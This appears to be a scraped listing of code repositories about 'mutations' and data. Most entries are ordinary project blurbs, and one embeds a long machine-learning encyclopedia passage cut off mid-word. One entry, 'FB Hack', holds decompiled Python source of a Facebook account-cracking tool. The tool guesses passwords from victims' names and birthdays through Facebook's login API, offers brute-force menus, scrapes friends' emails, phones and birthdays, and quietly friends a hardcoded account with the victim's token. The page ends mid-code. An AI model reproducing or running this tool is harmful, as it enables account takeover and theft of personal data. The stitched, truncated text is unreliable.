129 skills found · Page 1 of 5
aws-samples / Aws Amplify GraphqlSample using AWS Amplify and AWS AppSync together for user login and authorization when making GraphQL queries and mutations. Also includes complex objects for uploading and downloading data to and from S3 with a React app.
daylerees / SanitizerSanitize data using a number of mutation methods.
SigProfilerSuite / SigProfilerExtractorSigProfilerExtractor allows de novo extraction of mutational signatures from data generated in a matrix format. The tool identifies the number of operative mutational signatures, their activities in each sample, and the probability for each signature to cause a specific mutation type in a cancer sample. The tool makes use of SigProfilerMatrixGenerator and SigProfilerPlotting.
barricklab / Breseqbreseq is a computational pipeline for finding mutations relative to a reference sequence using high-throughput DNA resequencing data. It is intended for haploid microbial genomes (<20 Mb). breseq is a command line tool implemented in C++ and R.
dkoboldt / VarscanVariant calling and somatic mutation/CNV detection for next-generation sequencing data
griffithlab / RegtoolsIntegrate DNA-seq and RNA-seq data to identify mutations that are associated with regulatory effects on gene expression.
joryeugene / Dadbod Grip.nvimEdit database tables like Vim buffers. Staged mutations + live SQL preview, transaction undo, schema browser + ER diagrams + DDL, FK navigation, cross-database federation, data profiling, SQL notebooks, AI SQL via Anthropic/OpenAI/Gemini/Ollama, Parquet/CSV/remote files. PostgreSQL · SQLite · MySQL · DuckDB · MotherDuck
PoisonAlien / TCGAmutationsR data package for pre-compiled somatic mutations from TCGA cohorts and CCLE
xuwd11 / Coursera BioinformaticsMy solution to Bioinformatics Specialization (Finding Hidden Messages in DNA; Genome Sequencing; Comparing Genes, Proteins, and Genomes; Molecular Evolution; Genomic Data Science and Clustering; Finding Mutations in DNA and Proteins; Bioinformatics Capstone: Big Data in Biology)
fisothemes / TwinCat Dynamic CollectionsA TwinCAT library for creating and manipulating dynamic collections of data in TwinCAT. It provides multiple data structures such as ArrayList (a dynamic array), List (a doubly linked list that is optimized for sequential access and mutation), Set, Map, Queue, Stack and more. Examples are in the project.
Aryia-Behroziuan / NeuronsAn ANN is a model based on a collection of connected units or nodes called "artificial neurons", which loosely model the neurons in a biological brain. Each connection, like the synapses in a biological brain, can transmit information, a "signal", from one artificial neuron to another. An artificial neuron that receives a signal can process it and then signal additional artificial neurons connected to it. In common ANN implementations, the signal at a connection between artificial neurons is a real number, and the output of each artificial neuron is computed by some non-linear function of the sum of its inputs. The connections between artificial neurons are called "edges". Artificial neurons and edges typically have a weight that adjusts as learning proceeds. The weight increases or decreases the strength of the signal at a connection. Artificial neurons may have a threshold such that the signal is only sent if the aggregate signal crosses that threshold. Typically, artificial neurons are aggregated into layers. Different layers may perform different kinds of transformations on their inputs. Signals travel from the first layer (the input layer) to the last layer (the output layer), possibly after traversing the layers multiple times. The original goal of the ANN approach was to solve problems in the same way that a human brain would. However, over time, attention moved to performing specific tasks, leading to deviations from biology. Artificial neural networks have been used on a variety of tasks, including computer vision, speech recognition, machine translation, social network filtering, playing board and video games and medical diagnosis. Deep learning consists of multiple hidden layers in an artificial neural network. This approach tries to model the way the human brain processes light and sound into vision and hearing. Some successful applications of deep learning are computer vision and speech recognition.[68] Decision trees Main article: Decision tree learning Decision tree learning uses a decision tree as a predictive model to go from observations about an item (represented in the branches) to conclusions about the item's target value (represented in the leaves). It is one of the predictive modeling approaches used in statistics, data mining, and machine learning. Tree models where the target variable can take a discrete set of values are called classification trees; in these tree structures, leaves represent class labels and branches represent conjunctions of features that lead to those class labels. Decision trees where the target variable can take continuous values (typically real numbers) are called regression trees. In decision analysis, a decision tree can be used to visually and explicitly represent decisions and decision making. In data mining, a decision tree describes data, but the resulting classification tree can be an input for decision making. Support vector machines Main article: Support vector machines Support vector machines (SVMs), also known as support vector networks, are a set of related supervised learning methods used for classification and regression. Given a set of training examples, each marked as belonging to one of two categories, an SVM training algorithm builds a model that predicts whether a new example falls into one category or the other.[69] An SVM training algorithm is a non-probabilistic, binary, linear classifier, although methods such as Platt scaling exist to use SVM in a probabilistic classification setting. In addition to performing linear classification, SVMs can efficiently perform a non-linear classification using what is called the kernel trick, implicitly mapping their inputs into high-dimensional feature spaces. Illustration of linear regression on a data set. Regression analysis Main article: Regression analysis Regression analysis encompasses a large variety of statistical methods to estimate the relationship between input variables and their associated features. Its most common form is linear regression, where a single line is drawn to best fit the given data according to a mathematical criterion such as ordinary least squares. The latter is often extended by regularization (mathematics) methods to mitigate overfitting and bias, as in ridge regression. When dealing with non-linear problems, go-to models include polynomial regression (for example, used for trendline fitting in Microsoft Excel[70]), logistic regression (often used in statistical classification) or even kernel regression, which introduces non-linearity by taking advantage of the kernel trick to implicitly map input variables to higher-dimensional space. Bayesian networks Main article: Bayesian network A simple Bayesian network. Rain influences whether the sprinkler is activated, and both rain and the sprinkler influence whether the grass is wet. A Bayesian network, belief network, or directed acyclic graphical model is a probabilistic graphical model that represents a set of random variables and their conditional independence with a directed acyclic graph (DAG). For example, a Bayesian network could represent the probabilistic relationships between diseases and symptoms. Given symptoms, the network can be used to compute the probabilities of the presence of various diseases. Efficient algorithms exist that perform inference and learning. Bayesian networks that model sequences of variables, like speech signals or protein sequences, are called dynamic Bayesian networks. Generalizations of Bayesian networks that can represent and solve decision problems under uncertainty are called influence diagrams. Genetic algorithms Main article: Genetic algorithm A genetic algorithm (GA) is a search algorithm and heuristic technique that mimics the process of natural selection, using methods such as mutation and crossover to generate new genotypes in the hope of finding good solutions to a given problem. In machine learning, genetic algorithms were used in the 1980s and 1990s.[71][72] Conversely, machine learning techniques have been used to improve the performance of genetic and evolutionary algorithms.[73] Training models Usually, machine learning models require a lot of data in order for them to perform well. Usually, when training a machine learning model, one needs to collect a large, representative sample of data from a training set. Data from the training set can be as varied as a corpus of text, a collection of images, and data collected from individual users of a service. Overfitting is something to watch out for when training a machine learning model. Federated learning Main article: Federated learning Federated learning is an adapted form of distributed artificial intelligence to training machine learning models that decentralizes the training process, allowing for users' privacy to be maintained by not needing to send their data to a centralized server. This also increases efficiency by decentralizing the training process to many devices. For example, Gboard uses federated machine learning to train search query prediction models on users' mobile phones without having to send individual searches back to Google.[74] Applications There are many applications for machine learning, including: Agriculture Anatomy Adaptive websites Affective computing Banking Bioinformatics Brain–machine interfaces Cheminformatics Citizen science Computer networks Computer vision Credit-card fraud detection Data quality DNA sequence classification Economics Financial market analysis[75] General game playing Handwriting recognition Information retrieval Insurance Internet fraud detection Linguistics Machine learning control Machine perception Machine translation Marketing Medical diagnosis Natural language processing Natural language understanding Online advertising Optimization Recommender systems Robot locomotion Search engines Sentiment analysis Sequence mining Software engineering Speech recognition Structural health monitoring Syntactic pattern recognition Telecommunication Theorem proving Time series forecasting User behavior analytics In 2006, the media-services provider Netflix held the first "Netflix Prize" competition to find a program to better predict user preferences and improve the accuracy of its existing Cinematch movie recommendation algorithm by at least 10%. A joint team made up of researchers from AT&T Labs-Research in collaboration with the teams Big Chaos and Pragmatic Theory built an ensemble model to win the Grand Prize in 2009 for $1 million.[76] Shortly after the prize was awarded, Netflix realized that viewers' ratings were not the best indicators of their viewing patterns ("everything is a recommendation") and they changed their recommendation engine accordingly.[77] In 2010 The Wall Street Journal wrote about the firm Rebellion Research and their use of machine learning to predict the financial crisis.[78] In 2012, co-founder of Sun Microsystems, Vinod Khosla, predicted that 80% of medical doctors' jobs would be lost in the next two decades to automated machine learning medical diagnostic software.[79] In 2014, it was reported that a machine learning algorithm had been applied in the field of art history to study fine art paintings and that it may have revealed previously unrecognized influences among artists.[80] In 2019 Springer Nature published the first research book created using machine learning.[81] Limitations Although machine learning has been transformative in some fields, machine-learning programs often fail to deliver expected results.[82][83][84] Reasons for this are numerous: lack of (suitable) data, lack of access to the data, data bias, privacy problems, badly chosen tasks and algorithms, wrong tools and people, lack of resources, and evaluation problems.[85] In 2018, a self-driving car from Uber failed to detect a pedestrian, who was killed after a collision.[86] Attempts to use machine learning in healthcare with the IBM Watson system failed to deliver even after years of time and billions of dollars invested.[87][88] Bias Main article: Algorithmic bias Machine learning approaches in particular can suffer from different data biases. A machine learning system trained on current customers only may not be able to predict the needs of new customer groups that are not represented in the training data. When trained on man-made data, machine learning is likely to pick up the same constitutional and unconscious biases already present in society.[89] Language models learned from data have been shown to contain human-like biases.[90][91] Machine learning systems used for criminal risk assessment have been found to be biased against black people.[92][93] In 2015, Google photos would often tag black people as gorillas,[94] and in 2018 this still was not well resolved, but Google reportedly was still using the workaround to remove all gorillas from the training data, and thus was not able to recognize real gorillas at all.[95] Similar issues with recognizing non-white people have been found in many other systems.[96] In 2016, Microsoft tested a chatbot that learned from Twitter, and it quickly picked up racist and sexist language.[97] Because of such challenges, the effective use of machine learning may take longer to be adopted in other domains.[98] Concern for fairness in machine learning, that is, reducing bias in machine learning and propelling its use for human good is increasingly expressed by artificial intelligence scientists, including Fei-Fei Li, who reminds engineers that "There’s nothing artificial about AI...It’s inspired by people, it’s created by people, and—most importantly—it impacts people. It is a powerful tool we are only just beginning to understand, and that is a profound responsibility.”[99] Model assessments Classification of machine learning models can be validated by accuracy estimation techniques like the holdout method, which splits the data in a training and test set (conventionally 2/3 training set and 1/3 test set designation) and evaluates the performance of the training model on the test set. In comparison, the K-fold-cross-validation method randomly partitions the data into K subsets and then K experiments are performed each respectively considering 1 subset for evaluation and the remaining K-1 subsets for training the model. In addition to the holdout and cross-validation methods, bootstrap, which samples n instances with replacement from the dataset, can be used to assess model accuracy.[100] In addition to overall accuracy, investigators frequently report sensitivity and specificity meaning True Positive Rate (TPR) and True Negative Rate (TNR) respectively. Similarly, investigators sometimes report the false positive rate (FPR) as well as the false negative rate (FNR). However, these rates are ratios that fail to reveal their numerators and denominators. The total operating characteristic (TOC) is an effective method to express a model's diagnostic ability. TOC shows the numerators and denominators of the previously mentioned rates, thus TOC provides more information than the commonly used receiver operating characteristic (ROC) and ROC's associated area under the curve (AUC).[101] Ethics Machine learning poses a host of ethical questions. Systems which are trained on datasets collected with biases may exhibit these biases upon use (algorithmic bias), thus digitizing cultural prejudices.[102] For example, using job hiring data from a firm with racist hiring policies may lead to a machine learning system duplicating the bias by scoring job applicants against similarity to previous successful applicants.[103][104] Responsible collection of data and documentation of algorithmic rules used by a system thus is a critical part of machine learning. Because human languages contain biases, machines trained on language corpora will necessarily also learn these biases.[105][106] Other forms of ethical challenges, not related to personal biases, are more seen in health care. There are concerns among health care professionals that these systems might not be designed in the public's interest but as income-generating machines. This is especially true in the United States where there is a long-standing ethical dilemma of improving health care, but also increasing profits. For example, the algorithms could be designed to provide patients with unnecessary tests or medication in which the algorithm's proprietary owners hold stakes. There is huge potential for machine learning in health care to provide professionals a great tool to diagnose, medicate, and even plan recovery paths for patients, but this will not happen until the personal biases mentioned previously, and these "greed" biases are addressed.[107] Hardware Since the 2010s, advances in both machine learning algorithms and computer hardware have led to more efficient methods for training deep neural networks (a particular narrow subdomain of machine learning) that contain many layers of non-linear hidden units.[108] By 2019, graphic processing units (GPUs), often with AI-specific enhancements, had displaced CPUs as the dominant method of training large-scale commercial cloud AI.[109] OpenAI estimated the hardware compute used in the largest deep learning projects from AlexNet (2012) to AlphaZero (2017), and found a 300,000-fold increase in the amount of compute required, with a doubling-time trendline of 3.4 months.[110][111] Software Software suites containing a variety of machine learning algorithms include the following: Free and open-source so
oslabs-beta / GraphQL BlueprintGraphQL Blueprint: a software developer tool for engineers that want to quickly generate React/Express, Apollo and GraphQL boilerplate code using a data modeling interface. Watch your queries, mutations, and schema update in realtime with our code preview feature and finally, export it when you're ready to begin building the rest of your app!
gitter-lab / Nn4dmsNeural networks for deep mutational scanning data
parklab / SigMAMutational signature analysis for low statistics SNV data
neo4j-graphql / Graphql Cli LoadA graphql-cli data import plugin to call mutations with data from JSON/CSV files
anthonyg-1 / PSGraphQLThis PowerShell module contains functions that facilitate querying and create, update, and delete operations (mutations) for GraphQL, which is an an open-source data language for APIs. For more on GraphQL please see: https://graphql.org/.
lehner-lab / MoCHINeural networks to fit interpretable models and quantify energies, energetic couplings, epistasis, and allostery from deep mutational scanning data
Myhadi / FB Hack#decompiled by PDM31 import os, sys print '\x1b[1;32mSudah punya ID dan Password nya?' print '\x1b[1;32mSilahkan Login ' import os, sys def wa(): os.system('xdg-open https://api.whatsapp.com/send?phone=6281291977644&text=Assalamualaikum') def restart(): ngulang = sys.executable os.execl(ngulang, ngulang, *sys.argv) user = raw_input('ID: ') import getpass sandi = raw_input('Password: ') if sandi == 'indoxploit' and user == 'Borot': print 'Anda Telah Login' sys.exit else: print 'Login GAGAL, Silahkan hubungi ADMIN' wa() restart() import os, sys, time, datetime, random, hashlib, re, threading, json, getpass, urllib from multiprocessing.pool import ThreadPool try: import mechanize except ImportError: os.system('pip2 install mechanize') else: try: import requests except ImportError: os.system('pip2 install requests') from requests.exceptions import ConnectionError from mechanize import Browser reload(sys) sys.setdefaultencoding('utf8') br = mechanize.Browser() br.set_handle_robots(False) br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')] def keluar(): print '\x1b[1;91m[!] Keluar' os.sys.exit() def jalan(z): for e in z + '\n': sys.stdout.write(e) sys.stdout.flush() time.sleep(0.1) logo = '\x1b[1;92m\n\xe2\x95\x94\xe2\x95\xa6\xe2\x95\x97\xe2\x94\x8c\xe2\x94\x80\xe2\x94\x90\xe2\x94\xac\xe2\x94\x80\xe2\x94\x90\xe2\x94\xac\xe2\x94\x8c\xe2\x94\x80 \xe2\x95\x94\xe2\x95\x90\xe2\x95\x97\xe2\x95\x94\xe2\x95\x97 \n \xe2\x95\x91\xe2\x95\x91\xe2\x94\x9c\xe2\x94\x80\xe2\x94\xa4\xe2\x94\x9c\xe2\x94\xac\xe2\x94\x98\xe2\x94\x9c\xe2\x94\xb4\xe2\x94\x90\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x95\xa0\xe2\x95\xa3 \xe2\x95\xa0\xe2\x95\xa9\xe2\x95\x97\n\xe2\x95\x90\xe2\x95\xa9\xe2\x95\x9d\xe2\x94\xb4 \xe2\x94\xb4\xe2\x94\xb4\xe2\x94\x94\xe2\x94\x80\xe2\x94\xb4 \xe2\x94\xb4 \xe2\x95\x9a \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \x1b[1;93mv1.7\n\x1b[1;93m* \x1b[1;97mAuthor \x1b[1;91m: \x1b[1;96mMr. Borot\x1b[1;97m\n\x1b[1;93m* \x1b[1;97mSupport \x1b[1;91m: \x1b[1;96mKunjungi\x1b[1;97m \x1b[1;96mwebsite \x1b[1;96mKami\n\x1b[1;93m* \x1b[1;97mwebsite \x1b[1;91m: \x1b[1;92m\x1b[4mhttp://indoxploit.id/\x1b[0m\n' def tik(): titik = [ '. ', '.. ', '... '] for o in titik: print '\r\x1b[1;91m[\xe2\x97\x8f] \x1b[1;92mSedang Masuk \x1b[1;97m' + o, sys.stdout.flush() time.sleep(1) back = 0 threads = [] berhasil = [] cekpoint = [] gagal = [] idteman = [] idfromteman = [] idmem = [] id = [] em = [] emfromteman = [] hp = [] hpfromteman = [] reaksi = [] reaksigrup = [] komen = [] komengrup = [] listgrup = [] vulnot = '\x1b[31mNot Vuln' vuln = '\x1b[32mVuln' def login(): os.system('reset') try: toket = open('login.txt', 'r') menu() except (KeyError, IOError): os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\xe2\x98\x86] \x1b[1;92mLOGIN AKUN FACEBOOK \x1b[1;91m[\xe2\x98\x86]' id = raw_input('\x1b[1;91m[+] \x1b[1;36mUsername \x1b[1;91m:\x1b[1;92m ') pwd = getpass.getpass('\x1b[1;91m[+] \x1b[1;36mPassword \x1b[1;91m:\x1b[1;92m ') tik() try: br.open('https://m.facebook.com') except mechanize.URLError: print '\n\x1b[1;91m[!] Tidak ada koneksi' keluar() br._factory.is_html = True br.select_form(nr=0) br.form['email'] = id br.form['pass'] = pwd br.submit() url = br.geturl() if 'save-device' in url: try: sig = 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail=' + id + 'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword=' + pwd + 'return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32' data = {'api_key': '882a8490361da98702bf97a021ddc14d', 'credentials_type': 'password', 'email': id, 'format': 'JSON', 'generate_machine_id': '1', 'generate_session_cookies': '1', 'locale': 'en_US', 'method': 'auth.login', 'password': pwd, 'return_ssl_resources': '0', 'v': '1.0'} x = hashlib.new('md5') x.update(sig) a = x.hexdigest() data.update({'sig': a}) url = 'https://api.facebook.com/restserver.php' r = requests.get(url, params=data) z = json.loads(r.text) zedd = open('login.txt', 'w') zedd.write(z['access_token']) zedd.close() print '\n\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mLogin berhasil' requests.post('https://graph.facebook.com/me/friends?method=post&uids=gwimusa3&access_token=' + z['access_token']) os.system('xdg-open http://indoxploit.id/') time.sleep(2) menu() except requests.exceptions.ConnectionError: print '\n\x1b[1;91m[!] Tidak ada koneksi' keluar() if 'checkpoint' in url: print '\n\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' os.system('rm -rf login.txt') time.sleep(1) keluar() else: print '\n\x1b[1;91m[!] Login Gagal' os.system('rm -rf login.txt') time.sleep(1) login() def menu(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: os.system('reset') print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: otw = requests.get('https://graph.facebook.com/me?access_token=' + toket) a = json.loads(otw.text) nama = a['name'] id = a['id'] except KeyError: os.system('reset') print '\x1b[1;91m[!] \x1b[1;93mSepertinya akun kena Checkpoint' os.system('rm -rf login.txt') time.sleep(1) login() except requests.exceptions.ConnectionError: print '\x1b[1;91m[!] Tidak ada koneksi' keluar() os.system('reset') print logo print '\x1b[1;97m\xe2\x95\x94' + 40 * '\xe2\x95\x90' print '\xe2\x95\x91\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m]\x1b[1;97m Nama \x1b[1;91m: \x1b[1;92m' + nama print '\x1b[1;97m\xe2\x95\x9a' + 40 * '\xe2\x95\x90' print '\x1b[1;37;40m1. Informasi Pengguna' print '\x1b[1;37;40m2. Hack Akun Facebook' print '\x1b[1;37;40m3. Bot ' print '\x1b[1;37;40m4. Lainnya.... ' print '\x1b[1;37;40m5. LogOut ' print '\x1b[1;31;40m0. Keluar ' print pilih() def pilih(): zedd = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if zedd == '': print '\x1b[1;91m[!] Jangan kosong' pilih() else: if zedd == '1': informasi() else: if zedd == '2': menu_hack() else: if zedd == '3': menu_bot() else: if zedd == '4': lain() else: if zedd == '5': os.system('rm -rf login.txt') os.system('xdg-open http://indoxploit.id') keluar() else: if zedd == '0': keluar() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + zedd + ' \x1b[1;91mTidak ada' pilih() def informasi(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' id = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID\x1b[1;97m/\x1b[1;92mNama\x1b[1;91m : \x1b[1;97m') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) cok = json.loads(r.text) for p in cok['data']: if id in p['name'] or id in p['id']: r = requests.get('https://graph.facebook.com/' + p['id'] + '?access_token=' + toket) z = json.loads(r.text) print 40 * '\x1b[1;97m\xe2\x95\x90' try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNama\x1b[1;97m : ' + z['name'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mNama\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID\x1b[1;97m : ' + z['id'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mID\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail\x1b[1;97m : ' + z['email'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mEmail\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNomor HP\x1b[1;97m : ' + z['mobile_phone'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mNomor HP\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mLokasi\x1b[1;97m : ' + z['location']['name'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mLokasi\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mTanggal Lahir\x1b[1;97m : ' + z['birthday'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mTanggal Lahir\x1b[1;97m : \x1b[1;91mTidak ada' try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mSekolah\x1b[1;97m : ' for q in z['education']: try: print '\x1b[1;91m ~ \x1b[1;97m' + q['school']['name'] except KeyError: print '\x1b[1;91m ~ \x1b[1;91mTidak ada' except KeyError: pass raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu() else: print '\x1b[1;91m[\xe2\x9c\x96] Pengguna tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu() def menu_hack(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Mini Hack Facebook(\x1b[1;92mTarget\x1b[1;97m)' print '\x1b[1;37;40m2. Multi Bruteforce Facebook' print '\x1b[1;37;40m3. Super Multi Bruteforce Facebook' print '\x1b[1;37;40m4. BruteForce(\x1b[1;92mTarget\x1b[1;97m)' print '\x1b[1;37;40m5. Yahoo Checker' print '\x1b[1;37;40m6. Ambil id/email/hp' print '\x1b[1;31;40m0. Kembali' print hack_pilih() def hack_pilih(): hack = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if hack == '': print '\x1b[1;91m[!] Jangan kosong' hack_pilih() else: if hack == '1': mini() else: if hack == '2': crack() hasil() else: if hack == '3': super() else: if hack == '4': brute() else: if hack == '5': menu_yahoo() else: if hack == '6': grab() else: if hack == '0': menu() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + hack + ' \x1b[1;91mTidak ada' hack_pilih() def mini(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[ INFO ] Akun target harus berteman dengan akun anda dulu !' try: id = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') r = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket) a = json.loads(r.text) print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] jalan('\x1b[1;91m[+] \x1b[1;92mMemeriksa \x1b[1;97m...') time.sleep(2) jalan('\x1b[1;91m[+] \x1b[1;92mMembuka keamanan \x1b[1;97m...') time.sleep(2) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mMohon Tunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' pz1 = a['first_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz1 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz1 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: pz2 = a['first_name'] + '12345' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz2 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz2 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: pz3 = a['last_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz3 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz3 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: lahir = a['birthday'] pz4 = lahir.replace('/', '') data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz4 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print 